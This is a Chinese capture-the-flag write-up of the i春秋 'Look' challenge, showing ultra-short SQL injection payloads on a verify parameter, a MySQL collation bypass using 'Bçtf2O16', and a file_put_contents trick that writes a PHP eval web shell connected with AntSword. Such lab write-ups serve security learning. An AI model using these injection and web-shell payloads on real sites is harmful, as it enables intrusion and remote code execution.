i春秋-Look(sql字符集、超短sql注入、写入shell)

练习平台地址

竞赛中心

题目描述

题目内容

一片空白

F12检查

元素无信息

响应头中发现了提示

尝试对verify参数进行sql注入

get传值有回显应该是get注入

尝试注入

提示verify long应该是太长了

更改payload(超短sql语句)

''*1

''&1

''%1

''=0

访问5211ec9dde53ee65bb02225117fba1e1.php

F12检查

元素无信息

响应头中又发现了提示

访问.viminfo配置文件(目录扫描也可以扫描到,可跳过前面步骤)

访问备份文件

代码分析

1.起初以为是宽字节注入%df%27,但是其中第一个if判断远程IP只是一个幌子无法伪造

2.接着看程序逻辑 需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串,结合题目提示的mysql字符集
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

绕过方式

使用ç=c 或者ô=o

payload

?usern3me=Bçtf2O16

访问c3368f5eb5f8367fd548b228bee69ef2.php

代码分析

相关函数

file_put_contents:

将一个字符串写入文件中

php 复制代码
<?php
$file = 'example.txt';
$data = '这是一些文本';
file_put_contents($file, $data);
?>

file_get_contents:

将整个文件的内容读入一个字符串中

php 复制代码
<?php
echo file_get_contents("test.txt");
?>

功能分析

上个页面的usern3me的内容是我们可控的,我们可以直接写php代码,这样写的php代码就进入了我们给的文件,然后RCE就可以了

构造payload

?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=\<?php%2520eval($_POSTcmd);?>

蚁剑连接

flag

flag{8d15ba42-bfcd-4587-b111-52fbca0494f8}

注意事项

在mysql字符集中,ç和c,ô和o是相等的

相关推荐
其实防守也摸鱼4 小时前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
m0_715674437 小时前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
大数据·网络·人工智能·安全·网络安全·政务
菩提小狗11 小时前
每日安全情报报告 · 2026-11-04
网络安全·漏洞·cve·安全情报·每日安全
杨凯凡15 小时前
IT日报|2026-11-04:Copilot 接入 JetBrains Air、CodeQL 2.27.3、Agent 依赖自动更新
网络安全·github copilot·codeql·ai coding·dependabot
迪康Defender1 天前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
航天智算1 天前
航天智算 HTZS-1700 全信创网络安全移动工作站深度评测
网络安全·国产算力·国产化改造·算力适配·测绘信创
longzhizhui9261 天前
Ubuntu 全版本 CVE-2026-98432 内核安全升级操作手册
ubuntu·网络安全·云计算·bash
科技小登1 天前
出海高防CDN怎么选?CDN加速、边缘清洗与跨境回源POC指南
tcp/ip·web安全·ddos
万联WANFLOW1 天前
CVE-2026-98432 等漏洞自查:AI 查出的 Linux、Windows 漏洞,运维怎么确认受不受影响
linux·运维·windows·网络安全
一支蜉蝣2 天前
Day26 XD安全学习笔记--PHP 应用&模版引用&Smarty渲染&MVC 模型&数据联动&RCE 安全
笔记·网络安全·html·php